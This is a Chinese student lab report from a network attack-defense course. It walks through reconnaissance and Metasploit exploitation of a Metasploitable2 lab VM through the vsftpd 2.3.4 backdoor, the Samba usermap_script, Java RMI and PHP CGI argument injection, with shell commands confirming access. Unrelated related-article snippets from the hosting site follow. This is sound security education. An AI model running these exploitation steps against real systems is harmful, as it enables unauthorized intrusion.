20232427 2025-2026-1 《网络与系统攻防技术》实验六实验报告

news/2025/11/17 19:26:19/文章来源:https://www.cnblogs.com/251023zyz/p/19234164

一、实验内容

本次实验聚焦 Metasploit 攻击渗透实践,核心内容包括两部分:一是前期渗透准备,通过主机发现、端口扫描及漏洞扫描获取靶机基础信息;二是漏洞渗透利用,针对 Metasploitable2 靶机的 4 类典型漏洞(Vsftpd 源码包后门漏洞、Samba MS-RPC Shell 命令注入漏洞、Java RMI SERVER 命令执行漏洞、PHP CGI 参数执行注入漏洞),使用 Metasploit 框架完成漏洞利用并获取靶机权限,最终掌握 Metasploit 的核心用法与渗透测试流程。

二、实验环境

攻击机 Kali Linux 2024.2(64 位) 192.168.247.128 运行 Metasploit 框架,执行扫描与攻击
image

靶机 Metasploitable2(32 位 Linux) 192.168.247.142 存在预设漏洞,作为渗透测试目标
image
image

三、实验过程与分析

1.前期渗透

主机发现

启动 Kali 终端,切换至 root 用户(ARP 扫描需 root 权限):
sudo su
启动 Metasploit 控制台:
msfconsole
搜索并加载 ARP 扫描模块:
search arp_sweep # 查找ARP扫描辅助模块
use 0 # 加载auxiliary/scanner/discovery/arp_sweep模块
set RHOSTS 192.168.247.0/24 # 指定靶机所在网段(根据实际环境调整)
run # 执行扫描
image
image

结果分析:扫描结果中显示 “192.168.247.142 appears to be up (VMware, Inc.)”,确认靶机在线且为 VMware 虚拟机。

端口扫描

方法一:使用 nmap 进行 SYN 扫描 + 版本探测(速度快、信息全):
nmap -sS -sV 192.168.247.142
image

结果:靶机开放多个高危端口,包括 21(vsftpd 2.3.4)、139(Samba)、1099(Java RMI)、80(Apache HTTP)等,为后续漏洞利用提供依据。
方法二:使用 Metasploit 内置端口扫描模块:
msfconsole
use auxiliary/scanner/portscan/tcp # 加载TCP端口扫描模块
set RHOSTS 192.168.247.142
set THREADS 10 # 设置10个并发线程,提升扫描速度
run
image

结果:与 nmap 扫描一致,确认靶机开放端口及对应服务,验证端口信息准确性。

漏洞扫描

使用 nmap 漏洞扫描脚本检测靶机已知漏洞:
nmap -script=vuln 192.168.247.142 # 加载vuln脚本集,扫描常见漏洞
image

结果:检测到 21 端口存在 vsftpd 2.3.4 后门漏洞(CVE-2011-2523)、1099 端口 Java RMI 远程代码执行漏洞等,与实验目标漏洞一致,为后续渗透提供明确方向。

2.Vsftpd 源码包后门漏洞(21 端口)

漏洞原理:vsftpd 2.3.4 版本被植入恶意代码,当用户名以 “😃” 结尾时,服务器会在 6200 端口监听并允许执行任意代码。
利用步骤:
msfconsole # 启动Metasploit
use exploit/unix/ftp/vsftpd_234_backdoor # 加载漏洞利用模块
set RHOSTS 192.168.247.142 # 设置靶机IP
show options # 验证参数配置(默认端口21,无需修改)
image

exploit # 执行攻击
验证权限:攻击成功后获取靶机 root 权限,执行以下命令验证:
uname -a # 查看系统版本
pwd # 查看当前路径
id # 查看用户身份
ls # 查看目录
image

3.Samba MS-RPC Shell 命令注入漏洞(139 端口)

漏洞原理:Samba 中 SAM 数据库更新用户口令的代码未过滤用户输入,直接传递给 /bin/sh,攻击者可通过 MS-RPC 调用提交恶意输入,以 nobody 权限执行任意命令。
利用步骤:
msfconsole
use exploit/multi/samba/usermap_script # 加载漏洞利用模块
set RHOSTS 192.168.247.142 # 靶机IP
show options # 确认参数(默认端口139)
image

exploit # 执行攻击
验证权限:成功获取 shell,执行命令验证:
uname -a # 验证系统版本
whoami # 查看用户身份
ls /root # 查看root目录文件,确认权限
image

4.Java RMI SERVER 命令执行漏洞(1099 端口)

漏洞原理:Java RMI Server 的 RMI 注册表和激活服务默认配置存在漏洞,允许攻击者从远程 URL 加载恶意类,导致远程代码执行。
利用步骤:
先验证1099端口是否开放
nmap -p 1099 192.168.247.142 # 输出“1099/tcp open java-rmi”,确认端口开放
image

msfconsole
use exploit/multi/misc/java_rmi_server # 加载漏洞利用模块
set RHOSTS 192.168.247.142
show options # 查看参数(默认端口1099)
image

exploit # 执行攻击
验证权限:攻击成功后获取 Meterpreter 会话,执行以下操作:
sessions -i 1 # 进入第一个会话(若多个会话,需指定id)
shell # 切换至交互式shell
whoami # 输出root,确认权限
uname -a # 验证系统信息
image

5.PHP CGI 参数执行注入漏洞(80 端口)

漏洞原理:CGI 脚本未正确处理请求参数,导致攻击者可在参数中插入恶意命令,实现远程代码执行。
利用步骤:
验证80端口是否开放
nmap -p 80 192.168.247.142 # 输出“80/tcp open http”,确认端口开放
image

msfconsole
use exploit/multi/http/php_cgi_arg_injection # 加载漏洞利用模块
set RHOSTS 192.168.247.142
set TARGETURI /cgi-bin/php # 指定PHP CGI脚本路径
show options # 确认参数(默认端口80)
image

exploit # 执行攻击
验证权限:成功获取 Meterpreter 会话,切换至 shell 验证:
shell # 进入交互式shell
whoami # 输出www-data(Web服务用户权限,可进一步提权)
uname -a # 验证系统版本
ls /var/www # 查看Web目录文件,确认控制权
image

四、问题及解决方案

1.漏洞扫描(选做) 使用 nmap 漏洞扫描脚本检测靶机已知漏洞: 长时间没有反应。
vuln脚本集包含大量漏洞检测脚本,负载较高易卡住,可先扫描端口 + 服务版本,再针对性检测漏洞:

第一步:扫描靶机开放端口和服务版本

nmap -sS -sV 192.168.247.142

第二步:针对特定端口(如21、139)单独检测漏洞

nmap --script=ftp-vuln-cve2011-2523 192.168.247.142 -p 21 # 检测vsftpd漏洞
nmap --script=samba-vuln-cve-2017-7494 192.168.247.142 -p 139 # 检测Samba漏洞
image

五、实验感悟与思考

本次实验让我系统掌握了 Metasploit 框架的核心用法,深刻理解了渗透测试的 “前期侦察 - 漏洞利用 - 权限验证” 完整流程。前期渗透中的主机发现、端口扫描和漏洞扫描是渗透成功的基础,精准的信息收集能让后续漏洞利用更具针对性;而 Metasploit 框架的模块化设计极大简化了漏洞利用过程,通过 “加载模块 - 配置参数 - 执行攻击” 的固定逻辑,即可快速实现各类漏洞的渗透,体现了工具化在网络攻防中的高效性。
在漏洞利用过程中,我发现不同漏洞的利用原理虽有差异,但核心都是利用目标系统的配置缺陷或代码漏洞,突破权限限制实现恶意代码执行。例如 Vsftpd 的后门漏洞是人为植入恶意代码,Samba 和 PHP CGI 漏洞是输入未过滤,Java RMI 漏洞是默认配置不安全,这让我意识到系统安全不仅要关注代码质量,还要重视配置规范和版本更新 —— 很多高危漏洞都源于使用过时版本或保留默认危险配置。
同时,实验也让我体会到网络安全的 “双刃剑” 属性:Metasploit 既可用于合法的渗透测试,帮助企业发现系统漏洞并加固;也可能被恶意攻击者利用,危害网络安全。作为学习者,我必须坚守安全伦理,仅在授权环境中使用相关技术,杜绝滥用。
未来,我将进一步深入学习 Metasploit 的高级用法,如自定义 payload、权限维持、横向移动等,同时加强对漏洞原理的理解,不仅要 “会用工具”,还要 “懂其本质”,从而在面对复杂网络环境时,能够灵活应对各类安全挑战,为网络安全防护提供更坚实的技术支撑。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/968247.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

P9534 [YsOI2023] 广度优先遍历

考虑一个事情,把树建出来后,非树边都可以扔到后面去,这显然不影响答案。 思考为什么树边的顺序会影响答案,实质是因为一个结点 \(x\) 连了许多非树边,若是这些非树边先被访问了,那么 \(x\) 的父亲就要换了,因此…

2025-11-17 ZYZ28-NOIP模拟赛-Round7 hetao1733837的record

2025-11-17 ZYZ28-NOIP模拟赛-Round7 hetao1733837的record2025-11-17 ZYZ28-NOIP模拟赛-Round7 hetao1733837的record 好累😩 比赛链接:ZYZ28-NOIP模拟赛-Round7 - ZYZOJ A.pmst $( ‵▽′)ψ$$lz$竟然把原来的$T2…

day25-langgraph进阶

整体课程设计介绍 第一次直播:开班介绍+环境适配+自主学习任务布置 任务:预习系列(参考2期)day20-大模型基本概述+API调用 day21-大模型基本概述+API调用 day22-langchain框架基础 day23-langchain框架进阶第二次直…

markdown格式绘制各种图

推荐使用 Mermaid 进行绘制

11.17 考试总结

11.17 考试总结 赛时复盘 7:50-8:10 通读了题面,有了点第一印象,T1感觉像是贪心,T2没什么头绪,T3是计数题看数据范围感觉像是个简单DP,T4感觉很困难,决定了开题顺序:1-3-2-4。 8:10-9:10 根据特殊性质先想树上发…

计算机网络第六章---应用层(基于谢希仁老师第八版)

​ 6.1域名系统DNS(Domain Name System) 作用:把主机名字转化为IP地址 理论上整个互联网可以只使用一个域名服务器,但是规模太大不可取,所以采用了层次树状结构的命名方法,并使用分布式的域名系统DNS===>采用…

第一次接触 JSAPIThree(百度地图 JSAPI Three)学习笔记

这是一篇关于百度地图 JSAPI Three(mapvthree)的入门学习笔记,以初学者的视角记录从安装配置到第一个 Hello World 的完整学习过程,包含详细的步骤说明和实践经验。作为一个前端小白,今天要开始学习百度地图的 JS…

Who wants to be king:2

前言写这篇文章的本意,是为了记录关于vulnhub上的靶机who wants to be king2的练习过程,同时向社区大佬请教一个问题,希望各位大佬可以指点一下。问题如下:这个靶机提权部分按照靶机作者的思路,是要到.mozilla文件…

写日记是对的

正经人谁写日记,但我认为写日记好像确实对的,它可以唤起你的初心。 而且可以看到每天的成果。 也许可以继续恢复写日记的习惯。

vulkan学习笔记第一篇_环境部署

vulkan sdk安装流程: 下载vulkan sdk 打开下方链接到sdk下载主页,选择你对应的平台。 https://vulkan.lunarg.com/sdk/home#windows点击下载sdk installer双击下载好的sdk installer(暂未有经验告知哪些不勾选)全部勾…

2025!超简单安装部署gitlab

1.gitlab二进制文件下载地址: 官方网站: gitlab/gitlab-ce - Packages packages.gitlab.com 清华镜像站: Index of /gitlab-ce/yum/ | 清华大学开源软件镜像站 | Tsinghua Open Source Mirror

Data Agent 精选推荐:Aloudata Agent 企业级 AI 数据分析“专家”

Aloudata Agent 分析决策智能体——它以“智能问数、智能归因、报告生成”三大核心能力,为企业构建可信智能 Data Agent,助力企业实现 AI 驱动的数据洞察与敏捷决策,是企业数智化转型的优选方案。摘要 在数据量爆炸…

25.11.17随笔联考总结

考试 开考前正常早读,发题后还是先通读题面以决定考试策略。看了 T1,5 分钟会了,此时听说有人做过 T3 原题,不管。继续看 T2,T2 可能看了又有不到 10 分钟我又会了,比较开心,赶快去看 T3。T3 看到是计数,然后限…

web代码模板

web代码模板@Configuration public class JacksonConfig {/*** 日期时间格式:yyyy-MM-dd HH:mm:ss*/private static final String DATE_TIME_FORMAT = "yyyy-MM-dd HH:mm:ss";/*** 日期格式:yyyy-MM-dd*/p…

西瓜决策树

这是一个经典的西瓜数据集,让我们来求它的信息增益(ID3决策树算法)、决策树、信息增益率(C4.5决策树算法)、基尼指数【信息增益】(ID3算法) 记住两个量"信息熵"和"信息增益" [信息熵]表示信…

V8的浏览器运行时环境

堆栈 在 chrome 中,只要打开一个渲染进程,浏览器就会初始化 V8,同时初始化堆和栈。栈主要只用来管理 JavaScript 调用的,栈是一块连续的内存空间,先进后出策略。 堆是一种树形结构,用来存储对象类型的离散的数据…

http https

TLS握手https下的数据传输使用会话密钥进行加密。 会话密钥使用非对称加密方式传输(RSA密钥交换)。服务器将公钥传给客户端。 客户端使用公钥加密一个pre-master secret预主密钥传给服务器。 服务器可以将其解密得到…